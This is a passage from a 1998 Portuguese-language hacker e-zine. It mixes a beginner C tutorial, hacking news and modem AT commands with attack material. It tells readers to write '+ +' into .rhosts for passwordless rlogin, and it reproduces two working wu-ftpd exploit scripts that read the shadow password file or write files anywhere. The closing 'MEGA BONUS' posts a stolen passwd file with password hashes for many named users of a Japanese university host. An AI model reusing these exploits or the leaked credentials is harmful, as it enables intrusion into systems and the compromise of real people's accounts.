uma saida + ou - assim: 12345 Primeira string. -> Numero: 10 Segunda string. Aqui vai a explicacao... Ja q a funcao printf() e uma das + usadas, e importante q vc compreenda legal como ela funciona... o basico e: printf("frase"); O parametro e a frase q vc quer imprimir na tela, entre "". Dentro dessa frase, vc usar o \ (contra barra), como uma especie de identificador... Seria + ou - como se ele disesse q o q vem a seguir, e como se fosse um "comando". Por exemplo, o \n significa retorno de carro (pula uma linha). Se vc notou, nao tem \n no primeiro printf() do programa, e por isso q o 123 fica junto com o 45. Depois, o segundo printf() termina com \n, ja dando um espaco de uma linha. Agora e a vez do \t, ele age como se fosse um TAB... E por isso q a string "Primeira string.", ficou + pra direita q as demais. Agora vamos para o exemplo do numero... Se vc quiser escrever um numero dentro da "frase", vc pode... Mas vamos supor q vc nao saiba esse numero na hora q esta escrevendo o programa... E ai q entra o sinal de %, o %d significa q no lugar de %d, ali vai ser impresso um numero inteiro. Esse numero vem depois do " (fecha aspas)... Seria perfeitamente valido, no lugar de 10, escrevermos 7+4, e seria impresso 11. E claro q vc pode misturar isso tudo... Aqui vai um exemplo: printf("\n\tNumero: %d - %d\n", 10, 7+3); A funcao printf() e muito rica, ainda faz + milhares de coisas, mas por hora, ja e o suficiente... ╔═════════════════════╗ ║ Definindo variaveis ║ ╚═════════════════════╝ * As variaveis sao exatamente o q o nome sugere... Elas servem para guardar um valor na memoria para agente. Existem dois tipos basicos de variaveis, as locais, e as globais. As variaveis locais sao definidas dentro de uma funcao, e so serao reconhecidas dentro daquela funcao, enquanto isso, as variaveis globais vao sempre estar disponiveis em qualquer lugar do programa. Agora, tem muito o q se falar sobre variaveis locais versus variaveis globais, mas primeiro vamos aprender como definilas. Para definir uma variavel, vc tem q dizer de q tipo ela vai ser... Por exemplo, do tipo int(numero), char(caractere), float(ponto flutuante) e etc... exemplos: int x; char c; int y = 3; char d = 'A'; float m = 12.4; char d[] = "String."; O primeiro exemplo, int x;, apenas define uma variavel de nome x, do tipo int. O segundo, define uma variavel com o nome c, do tipo char. Os dois exemplos seguintes, definem variaveis do mesmo jeito, so q eles ja inicializam elas com determiandos valores. Isso e muito importante, pq antes de vc definir o valor da variavel, ela fica com um valor aleatorio. Depois vem, float m = 12.4, definindo uma variavel m, to tipo float(ponto flutuante). A ultima e um pouco + complicada. Ela define uma matriz de caracteres, e define "String." como a string nela. O [] define uma matriz sem tamanho, ou seja, o compilador vai contar qts caracteres tem a minha string, e criar a matriz pra mim. Isso pode nao ter ficado muito claro ainda, mas quando chegar no assunto de ponteiros e matrizes vai ficar facil facil. ╔════════════════════════╗ ║ Terceiro programa em C ║ ╚════════════════════════╝ * Agora eu vou tentar juntar um pouco desse conhecimento, e tentar fazer um programa um pouco + interessante. #include int numero1 = 5; int main(void) { int numero2; char carac; char s[] = "XYZ"; printf("Terceiro programa em C!\n"); carac = 'A'; numero2 = 12; printf("%s -> %c -> %d-%d\n", s, carac, numero1, numero2); numero1 = 2; printf("-> %d + %d = %d\n", numero1, numero2, numero1+numero2); return(0); } Tudo bem... O programa pode estar um pouco dificil de entender mas tem q ser assim mesmo... Eu nao quero botar algo muito facil aqui... Vou explicar agora. Logo no comeco, existe a linha int numero1 = 5, q vem antes do comeco da funcao main(). Como ela esta fora da funcao, ela e uma variavel GLOBAL, ou seja, esta acessivel em qualquer parte do programa. Logo no inicio da funcao main(), estao definidas todas as variaveis usadas... E e assim q deve ser feito... Definir todas as variaveis logo no comeco da funcao. Ate aqui nada de novo, apenas algumas variaveis definidas, e outras iniciadas. Uma coisa importante, e q quando vc for denifir um unico caractere, devera usar '' e para definir uma string, q na verdade nada + e q uma sequencia(matriz) de caracteres, vc deve usar o "". O restante do programa vc pode analisar por si mesmo... ... O unico conceito relativamente novo e o %c, q imprime um unico caractere. A saida do programa deve ser + ou - assim, apos compilado: Terceiro programa em C! XYZ -> A -> 12-5 -> 2 + 12 = 14 Ah! Para imprimir numeros de ponto flutuante(float), use %f ╔══════════════════════╗ ║ Tabela p/ o printf() ║ ╚══════════════════════╝ * Agora q vc ja pegou o espirito do printf()... Vou criar aqui uma tabela com os codigos de barra invertida. Espero q ela seja util! :) \b -> BackSpace \n -> Nova Linha \r -> Retorno de carro \t -> TAB(Na horizontal) \\ -> Inserir \(contra barra) \" -> Inserir "(Aspas) E claro q ainda existem outros codigos... Mas esses com certeza sao os mais importantes. barra invertida. Espero q ela seja util! :) \b -> BackSpace \n -> Nova Linha \r -> Retorno de carro \t -> TAB(Na horizontal) \\ -> Inserir \(contra barra) \" -> Inserir "(Aspas) E claro q ainda existem outros codigos... Mas esses com certeza sao os mais importantes. ╔═════════════╗ ║ Comentarios ║ ╚═════════════╝ * Ate q em fim alguma coisa bem facil... O comentario simplesmente instrui o compilador, a ignorar determinada parte do codigo. Eles vem entre os sinais /* */ Um exemplo de comentario. /* Isto e um comentario. */ Vc nao pode criar um comentario de de outros... Lembre-se disso! ╔════════════════════════════╗ ║ Programa de soma/conversao ║ ╚════════════════════════════╝ * Aqui vai o ultimo programa desta edicao, um programa simples q vai fazer a soma entre dois numeros, e apresentar o resultado em decimal, hexadecimal, e octal. Pode parecer complexo, mas, na verdade, a funcao printf() ja vai fazer todas as conversoes necessarias p/ gente! Just relax... :) #include int main(void) { int x, y, z; printf("Entre com o primeiro numero: "); scanf("%d", &x); printf("Entre com o segundo numero: "); scanf("%d", &y); z = x +y; printf("Decimal: %d HexaDecimal: %Xh Octagonal: %o\n", z, z, z); /* printf("Bye, bye\n"); */ return(0); } A unica observacao q pode ser feita em relacao a este programa, e sobre a nova funcao scanf(). Ela funciona + ou - como a printf(), so q ela le os valores do teclado, e joga dentro das variaveis. (muito util nao???) O %d, significa q vai pegar um valor inteiro, e o &x, e a variavel q vai receber o valor. O sinal de & (E comercial), significa o endereco de... Dessa forma, nos estamos passando o endereco de x na memoria, para q a funcao scanf() grave o valor lah. Quanto as conversoes, como eu ja havia dito antes, ficaram todas por conta do printf(), com os sinais de %X e %o XPaRaNoiD - xparanoid@mailbr.com.br . .. icmp security member .. . ┌────────────────────────────────────────────────────────────────────────────┐ │ 13. NEW EDITORS │ └────────────────────────────────────────────────────────────────────────────┘ Fala galera , caso voce tenha uma noþao legal sobre seguranþa ou entender bem um SO e seus bugs voce serß bem vindo. Tambem queremos programadores. Ajude nos a continuar fazendo esta zine. Mande um e-mail para icmp@linuxbr.com.br e diga o que voce sabe , qual sistema voce saca e em qual lingua voce programa Caso voce fez uma materia legal nos mandem!! nos iremos avaliar e se for legal iremos botar na e-zine ┌────────────────────────────────────────────────────────────────────────────┐ │ 14. RLOGIN │ └────────────────────────────────────────────────────────────────────────────┘ Umas das tecnicas que eu tenho mais usado e aquela famosa tatica do rlogin para nao pedir senha quando voce for se conectar via rlogin. Vou tentar explicar detalhadamente como voce faz isso. Vamos supor que voce tenha uma shell em hacker.com. Conecte com uma senha válida. Quando voce se conectar ele ira direta mente ao seu home diretorio , tipo /home/lammer. Agora que voce já esta no seu diretorio e tem a permissao para escrever nele , crie um arkivo chamado .rhosts Vai aparecer new file. Digite + + Pronto! Agora é so voce ir em seu linux e botar : rlogin -l lammer hacker.com que ele nao pedira senha! caso voce nao entedeu : $pico .rhosts + + (Aperte Control + X para sair) Escolha a opcao de salvar e ta pronto! Se divirta agora em uma conta sem senha pelo rlogin :-p ZeFuReNgA r0x! ┌────────────────────────────────────────────────────────────────────────────┐ │ 15. NOTICIAS │ └────────────────────────────────────────────────────────────────────────────┘ Aki nesta areá você encontrara as novas noticias no mundo se segurança, hacking etc... Fike mais informado! :) : ZeFuReNgA 04-08-98 - Back Oriffice e a resposta da Microsoft A Microsoft lancou sua resposta oficial sobre o Back Oriffice, um programa criado pelo grupo cDc no final de julho, que compromete a seguranca de usuarios de Windows. Segundo a empresa de Bill Gates, "o Back Oriffice nao compromete aseguranca de redes Windows", e "uma vez instalado, possui apenas os direitos e privilegios que o usuario [que o instalou] possui no computador". A Microsoft diz que para um ataque do Back Oriffice ter sucesso,uma serie de eventos especificos precisam ocorrer: - O usuario deve deliberadamente instalar, ou ser enganado a instalaro programa - O hacker precisa conhecer o endereco IP do usuario - O hacker precisa estar habilitado a acessar diretamente o endereco dousuario. Exemplo: nao pode existir um firewall entre ambos. Menciona ainda que o programa nao oferece riscos a equipamentos queexecutem o Windows NT Workstation ou NT Server, afetando apenas usuariosde Windows 95/98. No entanto, nao oferece nenhuma solucao efetiva para combate-lo, limitando-se a informar que o usuaio nao deve instala-lo. -------------------------- 19-08-98 - Descoberto applet java hostil capaz de instalar o Back Orifice. Foi descoberto um applet Java hostil capaz de instalar o Back Orifice do grupo cDc de modo dinamico e sem praticamente conhecimento algum do usuario. O applet apareceu pela primeira vez em uma empresa de consultoria em Java sendo apresentado como um "applet de demonstracao". O applet e' assinado e certificado com uma assinatura digital, e apesar de assinaturas digitais serem consideradas uma peca importante neste modelo de seguranca, ainda assim podem ser falsificadas. --------------------------- 06-09-1998 - 6000 hackers tentaram... Mas ninguem conseguiu. Pelo menos 6000 hackers de todas as partes do mundo falharam ao tentar invadir os sistemas de uma empresa hungara que abriu um concurso para testar a seguranca de seu site. A Telnet Hungary ofereceu um premio equivalente a $4.500 para quem conseguisse invadir o seu web site em http://hackme.telnet.hu. Apos diversas solicitacoes dos hackers, o prazo original de 2 semanas foi aumentado para 4 meses. Mesmo assim, ninguem foi capaz de atravessar as barreiras armadas pela empresa para proteger seus sistemas. Agora os $4.500 serao investidos em mais seguranca, disse a empresa. --------------------------- 06-09-1998 - A Mandic e' alvo de ataques Mais uma vez, um dos maiores provedores do pais, a Mandic, foi alvo de ataques. Dessa vez, membros do grupo NearZ alteraram a pagina principal do site e, em seu lugar, colocaram ofensas e piadas de mau-gosto em relacao ao sistema de seguranca do provedor e a pessoas de outros provedores e empresas. Segundo alguns dos presentes nas salas de chat da Mandic, o grupo agora esta de posse das senhas de todos os usuarios do provedor alem de outras informacoes sigilosas. Para algumas pessoas, isso apenas demonstra o quanto a seguranca dos provedores e' falha. Para outros, a atitude do grupo apenas reforca a ideia, ja disseminada pela Internet, de que "hackers nao passam de vandalos" e que os membros do grupo NearZ sao "apenas garotos que nao tem nada de mais util para fazer". ---------------------------- 14-09-1998 - Site do New York Times e' invadido por hackers Hackers invadiram o site do New York Times (um dos maiores jornais domundo) este domingo (dia 13) e modificam a pagina principal paraHFG -- "Hacking for girls" (Hackeando por garotas). Eles alegaram que a invasao ocorreu em razao de um desafio de uma mulherque estaria escrevendo um livro sobre eles e que supostamente trabalhavana mesma empresa que faz a seguranca do site do NYT. Algumas das frases usadas no site hackeado foram "criancas imaturas foram capazes de passar por um firewall de USS$25.000 e a seguranca armada ladentro". Os hackers fizeram tambem uma referencia sobre a prisao de Kevin Mitnick, classificando-a como injusta. ---------------------------- TODAS essas noticias foram retiradas de "The Uground Industries Security News." Que na minha opinião e o melhor lugar de NOTICIAS de segura nça. ┌────────────────────────────────────────────────────────────────────────────┐ │ 16. WU FTP BUG'Z │ └────────────────────────────────────────────────────────────────────────────┘ Yeapppppp!!! Acho que voces ja devem ter reparados que a 99% dos provedo res utilizam o Wu Ftp. Por isso decidi botar os bugs que encontrei ate agora deste ftp. Vou botar 2 bugs! Um para vocw poder ler o shadow! e outro para que voce possa escrever algo em qualquer diretorio O primeiro Ú para voce ler o shadow : #!/bin/sh # # exploit a bug in wu-ftpd to assemble & view the shadow passwd file # # Tested under Solaris 2.5 # # James Abendschan jwa@nbs.nau.edu 16 Oct 1996 # USER=`whoami` /usr/ucb/echo -n "Enter your password for localhost: " read PASS WDIR=/tmp/wu-ftpd-sploit.$USER rm -rf $WDIR mkdir $WDIR TMP=$WDIR/strings.tmp ftp -n localhost << _EOF_ quote user $USER quote pass $PASS cd $WDIR user root woot quote pasv _EOF_ if [ ! -f $WDIR/core ] then echo "Sorry, your ftpd didn't dump core." exit 1 fi strings $WDIR/core > $WDIR/tmp # try to assemble as much of the shadow passwd file as possible # (easier in perl) for user in `cat /etc/passwd | awk -F":" '{print $1}'` do line=`grep \^${user}: $WDIR/tmp` echo $line done rm -f $TMP ____________________________________ Essa Ú para voce poder escrever em qq diretorio #!/bin/sh # # exploit a bug in wu-ftpd to create a file anywhere on the filesystem # - files that already exist will be overwritten, but they won't # be writable. # # tested under Solaris 2.5 # # James Abendschan jwa@nbs.nau.edu 16 Oct 1996 # if [ $# != 2 ] then echo "usage: `basename $0` sourcefile dstfile" exit 1 fi SRC=$1 TARGET=$2 USER=`whoami` /usr/ucb/echo -n "Enter your password for localhost: " read PASS WDIR=/tmp/wu-ftpd-sploit.$USER rm -rf $WDIR mkdir $WDIR ln -s $TARGET $WDIR/core ftp -n localhost << _EOF_ quote user $USER quote pass $PASS cd $WDIR user root woot quote pasv _EOF_ if [ ! -f $WDIR/core ] then echo "Sorry, your ftpd didn't dump core." exit 1 fi ls -l $WDIR/core cp $SRC $TARGET if [ $? != 0 ] then echo "copy of $SRC to $TARGET failed." exit 1 fi echo "Done; $SRC should now be $TARGET." exit 0 ---------------------------------------------------------------------------- # Here is another script to - # try to identify who's been core dumping ftpd # # requires ftpd to be wrapped (obviously) # # jwa 24 Oct 1996 # LOG=/var/adm/syslog for pid in `grep "exiting on signal" $LOG | awk -F"[" '{print $2}' | awk -F"]" ' {print $1}'` do grep $pid $LOG | grep ftpd echo " " done ┌────────────────────────────────────────────────────────────────────────────┐ │ 17. MODEM │ └────────────────────────────────────────────────────────────────────────────┘ Aprenda a programar um modem. Eu acho que isso ja deve tar na ponta da lingua de qualquer um... né? E1 - Eco ativado, permite que voce possa ver o que esta'escrevendo. M1 - Controla o alto falante. M0=Desligado; M1=Ligado ate'o fim da conexao; M2=Sempre ativo; M3=Desligado durante a discagem; L0 - Controla o volume e pode ser modificado para L1, L2 ou L3, de acordo com o volume de preferencia. S7=60 - Tempo maximo que o modem vai esperar ate'que o outro PC de um sinal de resposta. Pode ser modificado. ats0=0 - Faz com que o modem nao responda a nehuma ligacao. ats0=1 - faz com que o modem responda a qualquer ligacao. v1 - Faz com que todas as respostas do modem sejam enviadas para o programa de comunicacao (Busy, connect, etc) &A3 - Habilita msgs de correcao de erros e compactacao de dados; atdt - Digitando ATDT e logo depois o numero do telefone que voce deseja discar, rapidamente voce ira'ligar para o telefone. Porem deve-se prestar atencao pois para telefones pulse digita-se ATDP e para telefones tone digita-se ATDT. &K1 - Deixa ativada a compressao automatica de dados. &D2 - Sinal DTR da interface srial. &C1 - Sinal DCD da interface serial. . .. Texto adaptado para icmp security zine por ZeFuReNgA .. . ┌────────────────────────────────────────────────────────────────────────────┐ │ 18. CARTAS │ └────────────────────────────────────────────────────────────────────────────┘ E logico que nao temos e-mails porque e a nossa primeira edicao. Mesmo se voce nao gosto mandem um e-mail so pra dizer que voce leu! Para saber se ela esta tendo um bom publico saco? Sugestoes , materias serao muito bem vindas! Esperamos sua opiniao! ┌────────────────────────────────────────────────────────────────────────────┐ │ 19. AGRADECIMENTOS │ └────────────────────────────────────────────────────────────────────────────┘ Um grande abraço para a galera dos canais #Hacker & #Coders. Valeu pelo o Struck por fazer uma boa propaganda de nosso grupo em sua ótima e-zine. ┌────────────────────────────────────────────────────────────────────────────┐ │ **. MEGA BONUS!!!! │ └────────────────────────────────────────────────────────────────────────────┘ Passwd pelando do host japones : mail-sv.nifs-k.ac.jp nobody:*:65534:65534::/: daemon:*:1:1::/: sys:*:2:2::/:/bin/csh bin:*:3:3::/bin: uucp:*:4:8::/var/spool/uucppublic: news:*:6:6::/var/spool/news:/bin/csh ingres:*:7:7::/usr/ingres:/bin/csh audit:*:9:9::/etc/security/audit:/bin/csh sync::1:1::/:/bin/sync sysdiag:*:0:1:Old System Diagnostic:/usr/diag/sysdiag:/usr/diag/sysdiag/sysdiag sundiag:*:0:1:System Diagnostic:/usr/diag/sundiag:/usr/diag/sundiag/sundiag root:X1Mrw3kPyxmJU:0:1:Operator:/:/bin/csh akifumi:.LCzoJyxmkBB2:0:1:Operator:/:/bin/csh kaikei:pyAFa01OtEJ3.:0:1:Operator:/home/kaikei:/bin/csh toshokan:AFl5Gy4iAjVa2:0:1:Operator:/:/bin/csh kanoya1:ylk8rhhLnq3fU:200:200:keijiban system user1:/home1/kanoya1:/bin/csh kanoya2:fmYAQdxlCRzwI:201:200:keijiban system user2:/home/kanoya2:/bin/csh gate:FMzMA1d68MMjw:202:200:gateway user:/home/gate:/bin/csh aida:ryd1uYQfOeUdM:401:400:kanoya taiiku daigaku user:/home/aida:/bin/csh sonoda:*:402:400:kanoya taiiku daigaku user:/home/sonoda:/bin/csh mukoyama:*:404:400:kanoya taiiku daigaku user:/home/mukoyama:/bin/csh kawanisi:dJNk4X6a3DWoI:405:400:kanoya taiiku daigaku user:/home/kawanisi:/bin/csh maeda:YFLePz/N8tqUI:406:400:kanoya taiiku daigaku user:/home/maeda:/bin/csh matsuo:O1m5LD74WjYE2:407:400:kanoya taiiku daigaku user:/home/matsuo:/bin/csh ikee:*:408:400:kanoya taiiku daigaku user:/home/ikee:/bin/csh sibayama:*:409:400:kanoya taiiku daigaku user:/home/sibayama:/bin/csh goshi:TeNK8m7QjPs2Y:410:400:kanoya taiiku daigaku user:/home/goshi:/bin/csh kurata:Qm8WgKf2dr6xo:411:400:kanoya taiiku daigaku user:/home/kurata:/bin/csh ohira:KVmdEdLOt75tA:412:400:kanoya taiiku daigaku user:/home/ohira:/bin/csh nishizon:6cSOA9N.g3BPo:413:400:kanoya taiiku daigaku user:/home/nishizon:/bin/csh takekura:s.l/CKvjq0/OY:414:400:kanoya taiiku daigaku user:/home/takekura:/bin/csh tamaki:0XOBMXCL/5OWE:415:400:kanoya taiiku daigaku user:/home/tamaki:/bin/csh hagiwara:*:417:400:kanoya taiiku daigaku user:/home/hagiwara:/bin/csh yamanaka:FHN0i5AWRIRWE:419:400:kanoya taiiku daigaku user:/home/yamanaka:/bin/csh matsuda:lu5Ax9Ce2IYPk:420:400:kanoya taiiku daigaku user:/home/matsuda:/bin/csh shimura:*:421:400:kanoya taiiku daigaku user:/home/shimura:/bin/csh akamine:Y1xurgSVoXRfg:422:400:kanoya taiiku daigaku user:/home/akamine:/bin/csh higashi:4g0jUqqEsdq2g:423:400:kanoya taiiku daigaku user:/home/higashi:/bin/csh eda:Hyq/1A57I1Xf6:424:400:kanoya taiiku daigaku user:/home/eda:/bin/csh f-hirata:*:425:400:kanoya taiiku daigaku user:/home/f-hirata:/bin/csh matsumo:*:426:400:kanoya taiiku daigaku user:/home/matsumo:/bin/csh taguchi:RYm8Nrmp.7e6w:427:400:kanoya taiiku daigaku user:/home/taguchi:/bin/csh furusawa:/.UuebH45CGZs:428:400:kanoya taiiku daigaku user:/home/furusawa:/bin/csh t-yanagi:9D13FQ17QfJXY:429:400:kanoya taiiku daigaku user:/home/t-yanagi:/bin/csh m-matsu:*:430:400:kanoya taiiku daigaku user:/home/m-matsu:/bin/csh n-inoue:*:431:400:kanoya taiiku daigaku user:/home/n-inoue:/bin/csh shimizu:nGgBu/eAbkQts:432:400:kanoya taiiku daigaku user:/home/shimizu:/bin/csh kitagawa:lKR5WpZZ9LAQ6:433:400:kanoya taiiku daigaku user:/home/kitagawa:/bin/csh kit:b8RE1hcmNEVJ2:447:400:kanoya taiiku daigaku user:/home/kitagawa:/bin/csh y-urita:KMLFJNLmUXOx.:434:400:kanoya taiiku daigaku user:/home/y-urita:/bin/csh h-okada:*:435:400:kanoya taiiku daigaku user:/home/h-okada:/bin/csh kintaka:mWlSI4GSPOqOk:436:400:kanoya taiiku daigaku user:/home/kintaka:/bin/csh hamada:zipg3aytaJqCc:437:400:kanoya taiiku daigaku user:/home/hamada:/bin/csh ogita:VipHELZ117Lgs:439:400:kanoya taiiku daigaku user:/home/ogita:/bin/csh k-miura:iUHdaY/9BZPGU:440:400:kanoya taiiku daigaku user:/home/k-miura:/bin/csh murayama:*:442:400:kanoya taiiku daigaku user:/home/murayama:/bin/csh matukawa:*:443:400:kanoya taiiku daigaku user:/home/matukawa:/bin/csh kokubu:*:444:400:kanoya taiiku daigaku user:/home/kokubu:/bin/csh shigeoka:*:445:400:kanoya taiiku daigaku user:/home/shigeoka:/bin/csh otsubo:*:446:400:kanoya taiiku daigaku user:/home/otsubo:/bin/csh maesaka:/iFwHdG5AUnMg:449:400:kanoya taiiku daigaku user:/home/maesaka:/bin/csh miyata:v1NhQvsQh1E1A:450:400:kanoya taiiku daigaku user:/home/miyata:/bin/csh y-miura:*:451:400:kanoya taiiku daigaku user:/home/y-miura:/bin/csh yamazaki:hHO/HNZgXKBgc:453:400:kanoya taiiku daigaku user:/home/yamazaki:/bin/csh hagi:IBvbJbO61eKRQ:454:400:kanoya taiiku daigaku user:/home/hagi:/bin/csh kitamura:9nZTbBQpt3NQs:455:400:kanoya taiiku daigaku user:/home/kitamura:/bin/csh isayama:*:456:400:kanoya taiiku daigaku user:/home/isayama:/bin/csh kodama:*:458:400:kanoya taiiku daigaku user:/home/kodama:/bin/csh hirasawa:*:459:400:kanoya taiiku daigaku user:/home/hirasawa:/bin/csh miyasita:ysOGDu/zDdBT2:461:400:kanoya taiiku daigaku user:/home/miyasita:/bin/csh junlakan:sdJ3XIe5BFr8E:463:400:kanoya taiiku daigaku user:/home/junlakan:/bin/csh yoshida:tEnVn2VVfHfJw:464:400:kanoya taiiku daigaku user:/home/yoshida:/bin/csh furukawa:3tBpCMpxW5PkQ:465:400:kanoya taiiku daigaku user:/home/furukawa:/bin/csh saito:jEb4YrAZLnbxw:466:400:kanoya taiiku daigaku user:/home/saito:/bin/csh okuwaki:jEDiS4cKLvXT.:467:400:kanoya taiiku daigaku user:/home/okuwaki:/bin/csh sugiyama:giC1jpdDkEP1Y:468:400:kanoya taiiku daigaku user:/home/sugiyama:/bin/csh ogane:bjWVj4mNhS42o:469:400:kanoya taiiku daigaku user:/home/ogane:/bin/csh zushi:FjomzVNJSjdCA:470:400:kanoya taiiku daigaku user:/home/zushi:/bin/csh tanaka:UAi5Y0VtxMpHY:471:400:kanoya taiiku daigaku user:/home/tanaka:/bin/csh fujise:*:472:400:kanoya taiiku daigaku user:/home/fujise:/bin/csh shiokawa:R72.whTw2GigY:474:400:kanoya taiiku daigaku user:/home/shiokawa:/bin/csh takesita:vxhg9BaPNFQz2:476:400:kanoya taiiku daigaku user:/home/takesita:/bin/csh hasiguti:0JzH.inTedzaU:477:400:kanoya taiiku daigaku user:/home/hasiguti:/bin/csh tani:Yp3iE1vF24duM:478:400:kanoya taiiku daigaku user:/home/tani:/bin/csh n-harada:2rvuAbh2M69Ys:479:400:kanoya taiiku daigaku user:/home/n-harada:/bin/csh kanaya:*:480:400:kanoya taiiku daigaku user:/home/kanaya:/bin/csh hiroo:JS/sJIUz0emv.:482:400:kanoya taiiku daigaku user:/home/hiroo:/bin/csh anneb:zHIqmTa0EwlpM:483:400:kanoya taiiku daigaku user:/home/anneb:/bin/csh yamamoto:LwukVQ9fi4uoA:484:400:kanoya taiiku daigaku user:/home/yamamoto:/bin/csh kmwzm:*:496:400:kanoya taiiku daigaku user:/home/kmwzm:/bin/csh jun:jBqFDuOVZLZXg:497:400:kanoya taiiku daigaku user:/home/kmwzm:/bin/csh kyomu1:ZWQwp928qJfck:501:500:kanoya taiiku daigaku user:/home/kyomu1:/bin/csh kyomu2:*:502:500:kanoya taiiku daigaku user:/home/kyomu2:/bin/csh gakusei1:*:503:500:kanoya taiiku daigaku user:/home/gakusei1:/bin/csh gakusei2:*:504:500:kanoya taiiku daigaku user:/home/gakusei4:/bin/csh kaikei1:*:505:500:kanoya taiiku daigaku user:/home/kaikei1:/bin/csh kaikei2:*:506:500:kanoya taiiku daigaku user:/home/kaikei2:/bin/csh syomu1:*:507:500:kanoya taiiku daigaku user:/home/syomu1:/bin/csh syomu2:*:508:500:kanoya taiiku daigaku user:/home/syomu2:/bin/csh sisetu1:*:509:500:kanoya taiiku daigaku user:/home/sisetu1:/bin/csh sisetu2:*:510:500:kanoya taiiku daigaku user:/home/sisetu2:/bin/csh cat1:*:511:500:kanoya taiiku daigaku user:/home/cat1:/bin/csh cat2:*:512:500:kanoya taiiku daigaku user:/home/cat2:/bin/csh cat3:*:513:500:kanoya taiiku daigaku user:/home/cat3:/bin/csh ref1:*:514:500:kanoya taiiku daigaku user:/home/ref1:/bin/csh ref2:*:515:500:kanoya taiiku daigaku user:/home/ref2:/bin/csh mori:VBeoqcQ7JDdks:517:500:kanoya taiiku daigaku user:/home/mori:/bin/csh naka:Yzw3WqiacoOVg:519:500:kanoya taiiku daigaku user:/home/y-nakamura:/bin/csh mr3.1:*:520:500:kanoya taiiku daigaku user:/home/mrsrv:/bin/sh gakutyo:*:521:500:kanoya taiiku daigaku user:/home/gakutyo:/bin/csh fukugaku:*:522:500:kanoya taiiku daigaku user:/home/fukugaku:/bin/csh futaishi:CRlJBTL2.qpxQ:526:500:kanoya taiiku daigaku user:/home/futaishi:/bin/csh oda:U1OwQetoXIXRk:528:500:kanoya taiiku daigaku user:/home/oda:/bin/csh masako:*:533:500:kanoya taiiku daigaku user:/home/masako:/bin/csh nakada:aUflsh5G7s46E:536:500:kanoya taiiku daigaku user:/home/nakada:/bin/csh uezono:3JRktzg88EQR2:537:500:kanoya taiiku daigaku user:/home/uezono:/bin/csh shuko:iVBuEfNFgy6ao:539:500:kanoya taiiku daigaku user:/home/shuko:/bin/csh kouji:ND5RMPmbGIJfQ:540:500:kanoya taiiku daigaku user:/home/kouji:/bin/csh miyan:O0v0rquVhl9Hc:543:500:kanoya taiiku daigaku user:/home/miyan:/bin/csh takeda:aBLvLejn1HXEk:544:500:kanoya taiiku daigaku user:/home/takeda:/bin/csh sumihiro:BiGjlJp5.7eSg:545:500:kanoya taiiku daigaku user:/home/sumihiro:/bin/csh harada:TicWYwZ/OMsM.:548:500:kanoya taiiku daigaku user:/home/harada:/bin/csh jet:D.ChobGpjxYe.:549:500:kanoya taiiku daigaku user:/home/jet:/bin/csh moriya:Xfj0I7QxJlxsM:550:500:kanoya taiiku daigaku user:/home/moriya:/bin/csh abematsu:YdoQat3FkN59A:552:500:kanoya taiiku daigaku user:/home/abematsu:/bin/csh arimarie:7ZEauVpuq1c1Q:553:500:kanoya taiiku daigaku user:/home/arimarie:/bin/csh itoh:AjysmawDLQ5n6:555:500:kanoya taiiku daigaku user:/home/itou:/bin/csh yonezawa:SjlUsHM8uvopM:557:500:kanoya taiiku daigaku user:/home/yonezawa:/bin/csh tusiro:XR9newvcJV7LQ:558:500:kanoya taiiku daigaku user:/home/tusiro:/bin/csh simazu:Ikfc20IXNvTCw:559:500:kanoya taiiku daigaku user:/home/simazu:/bin/csh enami:/kZuSxS415316:560:500:kanoya taiiku daigaku user:/home/enami:/bin/csh satosi:mNCpVWea2lRQs:561:500:kanoya taiiku daigaku user:/home/satosi:/bin/csh utiyama:il9cY1THi4F8I:564:500:kanoya taiiku daigaku user:/home/utiyama:/bin/csh tatui:CJdc4.2.NHNa.:565:500:kanoya taiiku daigaku user:/home/tatui:/bin/csh murase:ED1kmnisN/zi.:566:500:kanoya taiiku daigaku user:/home/murase:/bin/csh watanabe:Qst/NGwmqVGzU:567:500:kanoya taiiku daigaku user:/home/watanabe:/bin/csh arima:3FOfogZ9ReFa2:568:500:kanoya taiiku daigaku user:/home/arima:/bin/csh kai:UJwUwAq415hCQ:569:500:kanoya taiiku daigaku user:/home/kai:/bin/csh moc:AN2SKE8b4oBfk:570:500:kanoya taiiku daigaku user:/home/moc:/bin/csh miyazaki:FtwuGz7AtMJXQ:571:500:kanoya taiiku daigaku user:/home/miyazaki:/bin/csh kinuko:IMBANk8lmBdEI:572:500:kanoya taiiku daigaku user:/home/kinuko:/bin/csh iria:*:576:500:kanoya taiiku daigaku user:/home/iria:/bin/csh seiko:rJ9uzGOxO0rk.:577:500:kanoya taiiku daigaku user:/home/seiko:/bin/csh kinjou:CFfVoJG1VKzAc:579:500:kanoya taiiku daigaku user:/home/kinjou:/bin/csh takezako:8c30Q2BUQHskE:580:500:kanoya taiiku daigaku user:/home/takezako:/bin/csh ichiro:dJxlvewZPiFcI:584:500:kanoya taiiku daigaku user:/home/ichiro:/bin/csh sakazaki:gCuF/70CGGMAY:585:500:kanoya taiiku daigaku user:/home/sakazaki:/bin/csh kawasaki:nIUirblUzrI7.:587:500:kanoya taiiku daigaku user:/home/kawasaki:/bin/csh morisita:zqW2gVUobILxI:588:500:kanoya taiiku daigaku user:/home/morisita:/bin/csh kubota:9Ijd0h7FOajnk:590:500:kanoya taiiku daigaku user:/home/kubota:/bin/csh jun1:*:591:500:kanoya taiiku daigaku user:/home/jun1:/bin/csh yosimoto:7PENXxX2UZTmE:592:500:kanoya taiiku daigaku user:/home/yosimoto:/bin/csh aoyama:mzcwXN3991NR2:593:500:kanoya taiiku daigaku user:/home/aoyama:/bin/csh shuichi:hglSFAPHkdqZw:594:500:kanoya taiiku daigaku user:/home/shuichi:/bin/csh koya:uSj1j.NZ10MPM:595:500:kanoya taiiku daigaku user:/home/koya:/bin/csh ritsu:lS3r3Gth7xusk:596:500:kanoya taiiku daigaku user:/home/ritsu:/bin/csh hiro:tTph3fWFr2RL6:597:500:kanoya taiiku daigaku user:/home/hiro:/bin/csh ken:9UqNMgM06RdvQ:598:500:kanoya taiiku daigaku user:/home/ken:/bin/csh fumie:KSWa55ZFX3qtI:600:500:kanoya taiiku daigaku user:/home/fumie:/bin/csh yuki:ZEQzuZ7z341wk:601:500:kanoya taiiku daigaku user:/home/yuki:/bin/csh sumita:iCvyvhuav1gew:602:500:kanoya taiiku daigaku user:/home/sumita:/bin/csh yosizako:ngCD2.ZA0s/3.:603:500:kanoya taiiku daigaku user:/home/yoshizako:/bin/csh yosiura:1jTHLH5sWhg0U:604:500:kanoya taiiku daigaku 